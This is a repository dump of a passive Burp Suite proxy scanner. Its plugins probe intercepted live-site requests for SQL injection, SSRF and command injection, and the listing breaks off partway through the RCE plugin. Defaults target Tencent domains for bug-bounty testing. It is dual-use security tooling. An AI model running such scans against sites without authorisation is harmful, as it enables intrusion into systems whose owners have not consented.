├── MyUDPHandler_Threads.py ├── README.md ├── __init__.py ├── burpclient ├── BurpExtender_ALL.py ├── BurpExtender_ALL_UI.py └── __init__.py ├── conf ├── ConfigFileModifyHandler.py └── __init__.py ├── lib ├── __init__.py ├── plugins │ ├── __init__.py │ ├── rce.py │ ├── sql_bool.py │ ├── sql_error.py │ └── ssrf.py ├── rules │ ├── __init__.py │ ├── enums.py │ └── rules_sqli.py └── utils │ ├── CommonLog.py │ ├── CosineSimilarity.py │ ├── DBUtil.py │ ├── HttpWappalyzer.py │ ├── __init__.py │ ├── diffpage.py │ ├── diffpage_score.py │ ├── files │ └── stopwords.txt │ ├── outputer.py │ └── timecalc.py ├── p1.png ├── p2.png ├── p3.png ├── p4.png ├── requirements.txt ├── resources ├── __init__.py └── app.config └── templates ├── base_sql_bool.html ├── base_sql_error.html ├── base_ssrf.html ├── template_sql_bool.html ├── template_sql_error.html └── template_ssrf.html /MyUDPHandler_Threads.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | import socketserver 3 | import json 4 | from lib.utils.HttpWappalyzer import HttpWappalyzer 5 | from conf.ConfigFileModifyHandler import * 6 | import copy 7 | import queue 8 | import ast 9 | from socketserver import UDPServer 10 | from socketserver import ThreadingMixIn 11 | from socketserver import BaseRequestHandler 12 | from lib.plugins.ssrf import SSRF 13 | from lib.plugins.rce import RCE 14 | from lib.plugins.sql_error import SQLError 15 | from lib.plugins.sql_bool import SQLBool 16 | from lib.utils.diffpage_score import Diffpage_score 17 | #from lib.utils.CosineSimilarity import CosineSimilarity 18 | from conf.ConfigFileModifyHandler import Config 19 | import hashlib 20 | import threading 21 | 22 | 23 | 24 | class MyUDPServer(ThreadingMixIn, UDPServer): 25 | def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True, queue=None): 26 | self.queue = queue 27 | UDPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate=bind_and_activate) 28 | 29 | 30 | class MyUDPHandler(socketserver.BaseRequestHandler): 31 | def __init__(self, request, client_address, server): 32 | self.queue = server.queue 33 | BaseRequestHandler.__init__(self, request, client_address, server) 34 | 35 | def parse(self,p): 36 | x = {} 37 | for k,v in p.items(): 38 | try: 39 | v1 = json.loads(v) 40 | except: 41 | v1 = v 42 | x[k] = v1 43 | return x 44 | 45 | def handle(self): # 必须要有handle方法;所有处理必须通过handle方法实现 46 | # self.request is the TCP socket connected to the client 47 | self.data = self.request[0].strip() 48 | data_dict = ast.literal_eval(self.data.decode('utf-8')) 49 | data_dict['param_in_url'] = self.parse(data_dict['param_in_url']) 50 | data_dict['param_in_body'] = self.parse(data_dict['param_in_body']) 51 | self.queue.put(data_dict) 52 | 53 | class DeDuplicate(object): 54 | def __init__(self,duplicate_list,logger): 55 | self.duplicate_list = duplicate_list 56 | self.logger = logger 57 | self.duplicate_params = Config.get_instance().get("app.DUPLICATE_PARAMS").split('|') 58 | self.duplicate_length = int(Config.get_instance().get('app.DUPLICATE_LEGNTH')) 59 | self.black_host_list = Config.get_instance().get("app.BLACK_HOSTS").split('|') 60 | 61 | def getHash(self,hashString): 62 | m = hashlib.md5(hashString.encode(encoding='utf-8')) 63 | return m.hexdigest() # 转化为16进制打印md5值 64 | 65 | def pop_param(self, param_list): 66 | """ 67 | 去掉黑名单的headers 68 | :param headers_dict: 69 | :return: 70 | """ 71 | keys = param_list.keys() 72 | for key in list(keys): 73 | if key in self.duplicate_params: 74 | param_list.pop(key) 75 | 76 | return param_list 77 | 78 | def query(self,request,http): 79 | host = request['host'] 80 | #print(host) 81 | #print(self.black_host_list) 82 | if host in self.black_host_list: 83 | self.logger.info('黑名单host, pass') 84 | return False 85 | uri = http.parseUrl(request['full_url']) 86 | content_type = request['content_type'] 87 | param_in_body = request['param_in_body'] 88 | param_in_url = request['param_in_url'] 89 | try: 90 | #self.logger.info(request['body']) 91 | body = json.loads(request['body']) 92 | except: 93 | body = {} 94 | tmpObj = [param_in_body, param_in_url,body] 95 | listobj = list(map(self.pop_param, tmpObj)) 96 | hashString = uri + str(content_type) + ''.join([str(i) for i in listobj]) 97 | #self.logger.info("----" + hashString) 98 | md5 = self.getHash(hashString) 99 | if md5 in self.duplicate_list: 100 | self.logger.info('重复请求') 101 | return False 102 | elif len(self.duplicate_list)<=self.duplicate_length: 103 | self.duplicate_list.append(md5) 104 | return True 105 | else: 106 | self.duplicate_list.clear() 107 | self.logger.info('exceed max length ,clear md5 list') 108 | self.duplicate_list.append(md5) 109 | return True 110 | 111 | 112 | def worker(q): 113 | while True: 114 | logger.info(f'队列长度: {q.qsize()}') 115 | logger.info(f'当前运行的线程数量: {threading.active_count()}') 116 | data = q.get() 117 | scan_vul(data) 118 | 119 | def scan_vul(data): 120 | lock = threading.RLock() 121 | deDuplicate = DeDuplicate(deplicate_list, logger) 122 | http = HttpWappalyzer() 123 | lock.acquire() 124 | try: 125 | status = deDuplicate.query(copy.deepcopy(data), http) 126 | except: 127 | status = True 128 | lock.release() 129 | if status: 130 | ssrf = SSRF(http) 131 | sql = SQLError(http) 132 | content_type = data['content_type'] 133 | sqlbool = SQLBool(http, model, content_type) 134 | 135 | try: 136 | ssrf.scan(copy.deepcopy(data)) 137 | except Exception as e: 138 | logger.error(str(e)) 139 | pass 140 | try: 141 | sql.scan(copy.deepcopy(data)) 142 | except Exception as e: 143 | logger.error(str(e)) 144 | pass 145 | try: 146 | sqlbool.scan(copy.deepcopy(data)) 147 | except Exception as e: 148 | logger.error(str(e)) 149 | pass 150 | 151 | 152 | if __name__ == "__main__": 153 | logger = CommonLog(__name__).getlog() 154 | HOST, PORT = "0.0.0.0", 32743 155 | queue = queue.Queue() 156 | #model = CosineSimilarity() 157 | model = Diffpage_score() 158 | server = MyUDPServer((HOST, PORT), MyUDPHandler, queue=queue) # 实例化一个多线程UDPServer 159 | server.max_packet_size = 8192 * 20 160 | # Start the server 161 | SERVER_THREAD = threading.Thread(target=server.serve_forever) 162 | SERVER_THREAD.daemon = True 163 | SERVER_THREAD.start() 164 | 165 | #http = HttpWappalyzer() 166 | deplicate_list = [] 167 | #deDuplicate = DeDuplicate(deplicate_list, logger) 168 | 169 | logger.info(f'----- udp server start at {HOST} port {PORT} ----') 170 | thread_num = 10 171 | threads = [] 172 | for i in range(thread_num): 173 | t = threading.Thread(target=worker, args=(queue,)) 174 | threads.append(t) 175 | 176 | for i in range(thread_num): 177 | threads[i].start() 178 | 179 | for i in range(thread_num): 180 | threads[i].join() 181 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # burpsuite_hack 2 | 一款代理扫描器 3 | 4 | - 适配python3.6+ 5 | 6 | - 支持 GET/POST/无限嵌套json、list的漏洞探测 7 | 8 | - 扫描请求去重 9 | 10 | - 基本不会触发WAF,最小化探测 11 | 12 | 详细请见:https://www.cnblogs.com/depycode/p/17079397.html 13 | # 整体架构 14 | ![image](https://github.com/depycode/burpsuite_hack/blob/master/p2.png) 15 | 16 | # 使用方法 17 | - burpsuite 插件加载:BurpExtender_ALL_UI.py ,修改socks host、port 为扫描端对应的ip和端口,然后点击set 18 | ![image](https://github.com/depycode/burpsuite_hack/blob/master/p1.png) 19 | ![image](https://github.com/depycode/burpsuite_hack/blob/master/p4.png) 20 | 21 | - 扫描端启动 22 | ``` 23 | nohup python3 MyUDPHandler_Threads.py & 24 | ``` 25 | 26 | # 创建数据库 27 | 28 | ``` 29 | +--------------------+ 30 | | Tables_in_burphack | 31 | +--------------------+ 32 | | sql_bool | 33 | | sql_error | 34 | | ssrf | 35 | +--------------------+ 36 | ``` 37 | 38 | ``` 39 | +----------+-------------------------------------------------------------------+ 40 | | Database | Create Database | 41 | +----------+-------------------------------------------------------------------+ 42 | | burphack | CREATE DATABASE `burphack` /*!40100 DEFAULT CHARACTER SET utf8 */ | 43 | +----------+-------------------------------------------------------------------+ 44 | ``` 45 | 46 | ``` 47 | +----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 48 | | Table | Create Table | 49 | +----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 50 | | sql_bool | CREATE TABLE `sql_bool` ( 51 | `id` int(11) NOT NULL AUTO_INCREMENT, 52 | `host` varchar(255) NOT NULL, 53 | `risk` int(11) NOT NULL, 54 | `bool_true_resp` mediumtext NOT NULL, 55 | `bool_true_req` mediumtext NOT NULL, 56 | `bool_false_resp` mediumtext, 57 | `bool_false_req` mediumtext, 58 | `first_resp` mediumtext NOT NULL, 59 | `payload` varchar(255) NOT NULL, 60 | `first_req` mediumtext NOT NULL, 61 | `create_time` timestamp NULL DEFAULT CURRENT_TIMESTAMP, 62 | PRIMARY KEY (`id`) 63 | ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COMMENT='bool型sql注入' | 64 | +----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 65 | ``` 66 | 67 | ``` 68 | +-----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 69 | | Table | Create Table | 70 | +-----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 71 | | sql_error | CREATE TABLE `sql_error` ( 72 | `id` int(11) NOT NULL AUTO_INCREMENT, 73 | `request_data` mediumtext, 74 | `response` mediumtext, 75 | `host` varchar(255) DEFAULT NULL, 76 | `dbms` varchar(255) DEFAULT NULL, 77 | `create_time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, 78 | PRIMARY KEY (`id`) 79 | ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 | 80 | +-----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 81 | ``` 82 | 83 | ``` 84 | +-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 85 | | Table | Create Table | 86 | +-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 87 | | ssrf | CREATE TABLE `ssrf` ( 88 | `id` int(11) NOT NULL AUTO_INCREMENT, 89 | `payload` varchar(255) DEFAULT NULL, 90 | `request_data` mediumtext, 91 | `response` mediumtext, 92 | `host` varchar(255) DEFAULT NULL, 93 | `is_vul` int(11) DEFAULT '0' COMMENT '0 默认值\n1 存在漏洞', 94 | `create_time` timestamp NULL DEFAULT CURRENT_TIMESTAMP, 95 | `vuType` int(11) DEFAULT NULL COMMENT '1 ssrf\n2 rce', 96 | PRIMARY KEY (`id`) 97 | ) ENGINE=InnoDB AUTO_INCREMENT=16625 DEFAULT CHARSET=utf8 COMMENT='历史ssrf探测请求' | 98 | +-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 99 | ``` 100 | 101 | # 实战成果 102 | - TSRC 103 | 104 | ![image](https://github.com/depycode/burpsuite_hack/blob/master/p3.png) 105 | 106 | # 参考 107 | - https://github.com/w-digital-scanner/w13scan 108 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/depycode/burpsuite_hack/e34fe40e8fbc7cd3baf72981aeeeb1bb4def0be5/__init__.py -------------------------------------------------------------------------------- /burpclient/BurpExtender_ALL.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | from burp import IBurpExtender 3 | from burp import IContextMenuFactory 4 | from java.io import PrintWriter 5 | from burp import IHttpListener 6 | 7 | from javax.swing import JMenuItem 8 | from java.util import List, ArrayList 9 | import re 10 | import socket 11 | import json 12 | 13 | 14 | class BurpExtender(IBurpExtender, IHttpListener): 15 | def registerExtenderCallbacks(self, callbacks): 16 | self._callbacks = callbacks 17 | self._helpers = callbacks.getHelpers() 18 | self.stdout = PrintWriter(callbacks.getStdout(), True) 19 | callbacks.registerHttpListener(self) 20 | callbacks.setExtensionName("SQLI") 21 | self.scan_host = ('.qq.com','.tencent.com','.tencent-cloud.com','tencentcs.com','.qcloud.com') 22 | #self.scan_host = ('.paas.cmbchina.com','.bcs.cmbchina.com','.bas.cmbchina.com','.alb-sz.cmbchina.com') 23 | self.static_url = ('.jpg','.js','.css','.ico','.gif','.swf','woff','.png','.jpeg','.woff2','.svg','.mp4','.flv','.map','.json','.txt','.svg','.ttf','.ttf2','.bin') 24 | self.black_host = ['otheve.beacon.qq.com','h5vv6.video.qq.com','mbmodule-openapi.paas.cmbchina.com','searchagency.paas.cmbchina.com'] 25 | 26 | def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): 27 | if toolFlag == self._callbacks.TOOL_PROXY and messageIsRequest: 28 | httpService = messageInfo.getHttpService() 29 | host = httpService.getHost() 30 | analyzeRequest = self._helpers.analyzeRequest(messageInfo) 31 | full_url = analyzeRequest.getUrl().toString() 32 | params = analyzeRequest.getParameters() 33 | method = analyzeRequest.getMethod() 34 | if self.getParamaters(params,0) or self.getParamaters(params, 1) or messageInfo.getRequest()[analyzeRequest.getBodyOffset():].tostring(): 35 | if host.endswith(self.scan_host) and method in ['GET','POST'] and not full_url.split('?')[0].endswith(self.static_url) and host not in self.black_host: 36 | self.parseRequest(messageInfo) 37 | 38 | 39 | # def createMenuItems(self, invocation): 40 | # menu_list = ArrayList() 41 | # messageInfo = invocation.getSelectedMessages()[0] 42 | # if invocation.getToolFlag() == 64 or invocation.getToolFlag() == 4: 43 | # menu_list.add( 44 | # JMenuItem("SQLI Scanner", None, actionPerformed=lambda x, mess=messageInfo: self.parseRequest(mess))) 45 | # return menu_list 46 | 47 | # PARAM_URL 0 , PARAM_BODY 1 48 | def getParamaters(self, params, ptype): 49 | params_dict = {} 50 | for i in params: 51 | if i.getType() == ptype: 52 | # params_dict[i.getName()] = json.loads(self._helpers.urlDecode(i.getValue())) 53 | params_dict[i.getName()] = self._helpers.urlDecode(i.getValue()) 54 | return params_dict 55 | 56 | def parseRequest(self, messageInfo): 57 | httpService = messageInfo.getHttpService() 58 | analyzeRequest = self._helpers.analyzeRequest(messageInfo) 59 | host = httpService.getHost() 60 | port = httpService.getPort() 61 | protocol = httpService.getProtocol() 62 | method = analyzeRequest.getMethod() 63 | full_url = analyzeRequest.getUrl().toString() 64 | bp_headers = analyzeRequest.getHeaders() 65 | content_type = analyzeRequest.getContentType() 66 | # self.stdout.println(host + str(port) + protocol) 67 | reqUri, bp1_headers = '\r\n'.join(bp_headers).split('\r\n', 1) 68 | headers = dict(re.findall(r"(?P.*?): (?P.*?)\r\n", bp1_headers + '\r\n')) 69 | # self.stdout.println(headers) 70 | body = messageInfo.getRequest()[analyzeRequest.getBodyOffset():].tostring() if messageInfo.getRequest()[ 71 | analyzeRequest.getBodyOffset():].tostring() else '{}' 72 | params = analyzeRequest.getParameters() 73 | paramsINURL = self.getParamaters(params, 0) 74 | paramsINBODY = self.getParamaters(params, 1) 75 | send_data = {} 76 | send_data['host'] = host 77 | send_data['port'] = port 78 | send_data['protocol'] = protocol 79 | send_data['method'] = method 80 | send_data['full_url'] = full_url 81 | send_data['headers'] = headers 82 | send_data['content_type'] = content_type 83 | send_data['body'] = body 84 | send_data['param_in_url'] = paramsINURL 85 | send_data['param_in_body'] = paramsINBODY 86 | #self.stdout.println(send_data) 87 | 88 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 89 | #扫描端监听的端口和地址 90 | s.connect(('127.0.0.1', 32743)) 91 | try: 92 | s.sendall(str(send_data).encode('utf-8')) 93 | except Exception as e: 94 | self.stdout.println(e) 95 | finally: 96 | # close 97 | s.close() 98 | 99 | -------------------------------------------------------------------------------- /burpclient/BurpExtender_ALL_UI.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | from burp import IBurpExtender 3 | from burp import IContextMenuFactory 4 | from java.io import PrintWriter 5 | from burp import IHttpListener 6 | from javax import swing 7 | from burp import ITab 8 | 9 | from javax.swing import JMenuItem 10 | from java.util import List, ArrayList 11 | import re 12 | import socket 13 | import json 14 | 15 | 16 | class BurpExtender(IBurpExtender, IHttpListener, ITab): 17 | def registerExtenderCallbacks(self, callbacks): 18 | self._callbacks = callbacks 19 | self._helpers = callbacks.getHelpers() 20 | self.stdout = PrintWriter(callbacks.getStdout(), True) 21 | callbacks.registerHttpListener(self) 22 | callbacks.setExtensionName("BurpSuite_Hack") 23 | self.scan_host = () 24 | self.static_suffix = () 25 | self.black_host = [] 26 | self.udp_server_host = '' 27 | self.udp_server_port = '' 28 | 29 | 30 | #jPanel 31 | self._jPanel = swing.JPanel() 32 | 33 | #需要扫描的host 34 | boxVertical = swing.Box.createVerticalBox() 35 | boxHorizontal = swing.Box.createHorizontalBox() 36 | boxHorizontal.add(swing.JLabel('SCAN_HOST:')) 37 | self._scan_host = swing.JTextField('.qq.com|.tencent.com', 50) 38 | boxHorizontal.add(self._scan_host) 39 | boxVertical.add(boxHorizontal) 40 | boxVertical.add(swing.Box.createVerticalStrut(10)) 41 | 42 | # 静态后缀 43 | boxHorizontal = swing.Box.createHorizontalBox() 44 | boxHorizontal.add(swing.JLabel('STATIC_SUFFIX:')) 45 | self._static_suffix = swing.JTextField('.jpg|.js|.css|.ico|.gif|.swf|woff|.png|.jpeg|.woff2|.svg|.mp4|.flv|.map|.json|.txt|.svg|.ttf|.ttf2|.bin', 50) 46 | boxHorizontal.add(self._static_suffix) 47 | boxVertical.add(boxHorizontal) 48 | boxVertical.add(swing.Box.createVerticalStrut(10)) 49 | 50 | # 黑名单host 51 | boxHorizontal = swing.Box.createHorizontalBox() 52 | boxHorizontal.add(swing.JLabel('BLACK_HOST:')) 53 | self._black_host = swing.JTextField('otheve.beacon.qq.com|h5vv6.video.qq.com', 50) 54 | boxHorizontal.add(self._black_host) 55 | boxVertical.add(boxHorizontal) 56 | boxVertical.add(swing.Box.createVerticalStrut(10)) 57 | 58 | #udp服务端host 必选 59 | boxHorizontal = swing.Box.createHorizontalBox() 60 | boxHorizontal.add(swing.JLabel('UDP_SERVER_HOST *:')) 61 | self._udp_server_host = swing.JTextField('127.0.0.1', 50) 62 | boxHorizontal.add(self._udp_server_host) 63 | boxVertical.add(boxHorizontal) 64 | boxVertical.add(swing.Box.createVerticalStrut(10)) 65 | 66 | #udp服务端port 必选 67 | boxHorizontal = swing.Box.createHorizontalBox() 68 | boxHorizontal.add(swing.JLabel('UDP_SERVER_PORT *:')) 69 | self._udp_server_port = swing.JTextField('9999', 50) 70 | boxHorizontal.add(self._udp_server_port) 71 | boxVertical.add(boxHorizontal) 72 | boxVertical.add(swing.Box.createVerticalStrut(10)) 73 | 74 | #第一次加载完插件后必须点一次SET 75 | boxHorizontal = swing.Box.createHorizontalBox() 76 | setButton = swing.JButton('SET *',actionPerformed=self.setConfig) 77 | boxHorizontal.add(setButton) 78 | boxHorizontal.add(swing.Box.createHorizontalStrut(30)) 79 | clearButton = swing.JButton('CLEAR',actionPerformed=self.clearConfig) 80 | boxHorizontal.add(clearButton) 81 | boxVertical.add(boxHorizontal) 82 | 83 | self._jPanel.add(boxVertical) 84 | # add the custom tab to Burp's UI 85 | callbacks.addSuiteTab(self) 86 | 87 | 88 | def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): 89 | if toolFlag == self._callbacks.TOOL_PROXY and messageIsRequest: 90 | #print self.scan_host 91 | #print self.static_suffix 92 | #print self.black_host 93 | #print self.udp_server_host 94 | #print self.udp_server_port 95 | 96 | httpService = messageInfo.getHttpService() 97 | host = httpService.getHost() 98 | analyzeRequest = self._helpers.analyzeRequest(messageInfo) 99 | full_url = analyzeRequest.getUrl().toString() 100 | params = analyzeRequest.getParameters() 101 | method = analyzeRequest.getMethod() 102 | if self.getParamaters(params,0) or self.getParamaters(params, 1) or messageInfo.getRequest()[analyzeRequest.getBodyOffset():].tostring(): 103 | if method in ['GET','POST'] and not full_url.split('?')[0].endswith(self.static_suffix) and host not in self.black_host: 104 | # scan_host=() 时扫描所有,scan_host=('.qq.com','aa.com') 时仅扫描以qq.com和aa.com结尾的域名 105 | if len(self.scan_host)>0: 106 | if host.endswith(self.scan_host): 107 | self.parseRequest(messageInfo) 108 | else: 109 | self.parseRequest(messageInfo) 110 | 111 | # PARAM_URL 0 , PARAM_BODY 1 112 | def getParamaters(self, params, ptype): 113 | params_dict = {} 114 | for i in params: 115 | if i.getType() == ptype: 116 | # params_dict[i.getName()] = json.loads(self._helpers.urlDecode(i.getValue())) 117 | params_dict[i.getName()] = self._helpers.urlDecode(i.getValue()) 118 | return params_dict 119 | 120 | def parseRequest(self, messageInfo): 121 | httpService = messageInfo.getHttpService() 122 | analyzeRequest = self._helpers.analyzeRequest(messageInfo) 123 | host = httpService.getHost() 124 | port = httpService.getPort() 125 | protocol = httpService.getProtocol() 126 | method = analyzeRequest.getMethod() 127 | full_url = analyzeRequest.getUrl().toString() 128 | bp_headers = analyzeRequest.getHeaders() 129 | content_type = analyzeRequest.getContentType() 130 | # self.stdout.println(host + str(port) + protocol) 131 | reqUri, bp1_headers = '\r\n'.join(bp_headers).split('\r\n', 1) 132 | headers = dict(re.findall(r"(?P.*?): (?P.*?)\r\n", bp1_headers + '\r\n')) 133 | # self.stdout.println(headers) 134 | body = messageInfo.getRequest()[analyzeRequest.getBodyOffset():].tostring() if messageInfo.getRequest()[ 135 | analyzeRequest.getBodyOffset():].tostring() else '{}' 136 | params = analyzeRequest.getParameters() 137 | paramsINURL = self.getParamaters(params, 0) 138 | paramsINBODY = self.getParamaters(params, 1) 139 | send_data = {} 140 | send_data['host'] = host 141 | send_data['port'] = port 142 | send_data['protocol'] = protocol 143 | send_data['method'] = method 144 | send_data['full_url'] = full_url 145 | send_data['headers'] = headers 146 | send_data['content_type'] = content_type 147 | send_data['body'] = body 148 | send_data['param_in_url'] = paramsINURL 149 | send_data['param_in_body'] = paramsINBODY 150 | #self.stdout.println(send_data) 151 | 152 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 153 | s.connect((self.udp_server_host, self.udp_server_port)) 154 | try: 155 | s.sendall(str(send_data).encode('utf-8')) 156 | except Exception as e: 157 | self.stdout.println(e) 158 | finally: 159 | s.close() 160 | 161 | # implement ITab 162 | def getTabCaption(self): 163 | return 'BurpSuite_Hack' 164 | 165 | def getUiComponent(self): 166 | return self._jPanel 167 | 168 | def setConfig(self, button): 169 | self.scan_host = tuple(self._scan_host.getText().strip().split('|')) if self._scan_host.getText().strip() else () 170 | self.static_suffix = tuple(self._static_suffix.getText().strip().split('|')) if self._static_suffix.getText().strip() else () 171 | self.black_host = self._black_host.getText().strip().split('|') if self._black_host.getText().strip() else [] 172 | self.udp_server_host = self._udp_server_host.getText().strip() 173 | self.udp_server_port = int(self._udp_server_port.getText()) 174 | 175 | def clearConfig(self, button): 176 | self._scan_host.setText('') 177 | self._static_suffix.setText('') 178 | self._black_host.setText('') 179 | self._udp_server_host.setText('') 180 | self._udp_server_port.setText('') 181 | -------------------------------------------------------------------------------- /burpclient/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/depycode/burpsuite_hack/e34fe40e8fbc7cd3baf72981aeeeb1bb4def0be5/burpclient/__init__.py -------------------------------------------------------------------------------- /conf/ConfigFileModifyHandler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import threading 6 | from configparser import ConfigParser, NoOptionError 7 | from watchdog.events import FileSystemEventHandler 8 | from watchdog.observers import Observer 9 | from lib.utils.CommonLog import CommonLog 10 | 11 | lock = threading.Lock() 12 | logger = CommonLog(__name__).getlog() 13 | 14 | 15 | class ConfigFileModifyHandler(FileSystemEventHandler): 16 | def on_modified(self, event): 17 | logger.info('Monitoring that the configuration file has been updated and loading is in progress') 18 | if 'app.config' in os.path.relpath(event.src_path): 19 | Config.get_instance().load_config() 20 | 21 | 22 | class Config(object): 23 | __instance = None 24 | 25 | def __init__(self, config_file_path=None): 26 | #logging.warning('配置初始化') 27 | self.config = ConfigParser() 28 | self.config_file_path = config_file_path or os.path.join(os.path.dirname(__file__),'../resources/app.config') 29 | self.load_config() 30 | self._init_config_file_observer() 31 | 32 | def _init_config_file_observer(self): 33 | #logging.warning('配置文件监控') 34 | event_handler = ConfigFileModifyHandler() 35 | observer = Observer() 36 | observer.schedule(event_handler, path=os.path.dirname(self.config_file_path), recursive=False) 37 | observer.setDaemon(True) 38 | observer.start() 39 | 40 | @staticmethod 41 | def get_instance(): 42 | if Config.__instance: 43 | return Config.__instance 44 | try: 45 | lock.acquire() 46 | if not Config.__instance: 47 | Config.__instance = Config() 48 | finally: 49 | lock.release() 50 | return Config.__instance 51 | 52 | def load_config(self): 53 | logger.info('加载配置') 54 | self.config.read(self.config_file_path, 'utf-8') 55 | 56 | def get(self, key, default=None): 57 | """ 58 | 获取配置 59 | :param str key: 格式 [section].[key] 如:app.name 60 | :param Any default: 默认值 61 | :return: 62 | """ 63 | map_key = key.split('.') 64 | if len(map_key) < 2: 65 | return default 66 | section = map_key[0] 67 | if not self.config.has_section(section): 68 | return default 69 | option = '.'.join(map_key[1:]) 70 | try: 71 | return self.config.get(section, option) 72 | except NoOptionError: 73 | return default 74 | 75 | 76 | # def get(key, default=None): 77 | # """ 78 | # 获取配置 79 | # :param str key: 格式 [section].[key] 如:app.name 80 | # :param Any default: 默认值 81 | # :return: 82 | # """ 83 | # return Config.get_instance().get(key, default) 84 | 85 | # if __name__ == '__main__': 86 | # print(get("app.BLACK_HEADERS")) -------------------------------------------------------------------------------- /conf/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/depycode/burpsuite_hack/e34fe40e8fbc7cd3baf72981aeeeb1bb4def0be5/conf/__init__.py -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/depycode/burpsuite_hack/e34fe40e8fbc7cd3baf72981aeeeb1bb4def0be5/lib/__init__.py -------------------------------------------------------------------------------- /lib/plugins/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/depycode/burpsuite_hack/e34fe40e8fbc7cd3baf72981aeeeb1bb4def0be5/lib/plugins/__init__.py -------------------------------------------------------------------------------- /lib/plugins/rce.py: -------------------------------------------------------------------------------- 1 | import uuid 2 | from conf.ConfigFileModifyHandler import Config 3 | import copy 4 | import json 5 | from lib.utils.DBUtil import DBUtil 6 | import requests 7 | from lib.utils.CommonLog import CommonLog 8 | from pymysql.converters import escape_string 9 | from lib.utils.outputer import generate_html 10 | from lib.utils.timecalc import get_time 11 | from lib.rules.enums import VulType 12 | 13 | 14 | class RCE(object): 15 | def __init__(self, wapper): 16 | self.wapper = wapper 17 | self.rce_str = 'rrr' 18 | self.db = DBUtil() 19 | self.dnslog_key = Config.get_instance().get("app.SSRF_API_KEY") 20 | self.logger = CommonLog(__name__).getlog() 21 | self.template_name = 'template_ssrf.html' 22 | self.vulType = VulType.CMD_INNJECTION 23 | 24 | # def generate_request_data_list(self, request_data): 25 | # type = request_data['content_type'] 26 | # param_url_dict = request_data['param_in_url'] 27 | # param_body_dict = request_data['param_in_body'] 28 | # # json_body_dict = request_data['body'] 29 | # request_data_list = [] 30 | # copy_data = copy.deepcopy(request_data) 31 | # if type == 4: 32 | # for i in self.wapper.updateJsonObjectFromStr(param_url_dict, self.ssrf_str, 2): 33 | # request_data['param_in_url'] = i 34 | # try: 35 | # request_data['body'] = json.loads(request_data['body']) 36 | # except: 37 | # pass 38 | # request_data_list.append(copy.deepcopy(request_data)) 39 | # 40 | # for j in self.wapper.updateJsonObjectFromStr(json.loads(copy_data['body']), self.ssrf_str, 41 | # 2): 42 | # copy_data['body'] = j 43 | # request_data_list.append(copy.deepcopy(copy_data)) 44 | # return request_data_list 45 | # else: 46 | # for i in self.wapper.updateJsonObjectFromStr(param_url_dict, self.ssrf_str, 2): 47 | # request_data['param_in_url'] = i 48 | # # print(request_data) 49 | # request_data_list.append(copy.deepcopy(request_data)) 50 | # 51 | # for j in self.wapper.updateJsonObjectFromStr(param_body_dict, self.ssrf_str, 2): 52 | # copy_data['param_in_body'] = j 53 | # request_data_list.append(copy.deepcopy(copy_data)) 54 | # return request_data_list 55 | 56 | @get_time 57 | def scan(self, request_data): 58 | self.logger.info('[*] RCE探测插件启动') 59 | #gen_list = self.generate_request_data_list(request_data) 60 | gen_list = self.wapper.generate_request_data_list(request_data, self.rce_str, 3) 61 | #print(gen_list) 62 | # for i in gen_list: 63 | # self.wapper.processRequest(i) 64 | #print(self.wapper.rce_list) 65 | for i, val in enumerate(gen_list): 66 | #print(f"---{i}---") 67 | resp = self.wapper.processRequest(val) 68 | resp_raw = self.wapper.generateResponse(resp) 69 | req_raw = self.wapper.generateRequest(val) 70 | #print(self.wapper.rce_list[i]) 71 | sql = f"insert into ssrf(`payload`,`request_data`,`response`,`host`,`vuType`) VALUES ('{self.wapper.rce_list[i]}', '{escape_string(req_raw)}', '{escape_string(resp_raw)}' ,'{val['host']}', 2)" 72 | #print(sql) 73 | self.db.save(sql) 74 | 75 | #time.sleep(30) 76 | self.fetch_dnslog(self.wapper.rce_list) 77 | self.logger.info('[*] RCE 探测完成, 共发送 {} 个请求'.format(len(gen_list))) 78 | 79 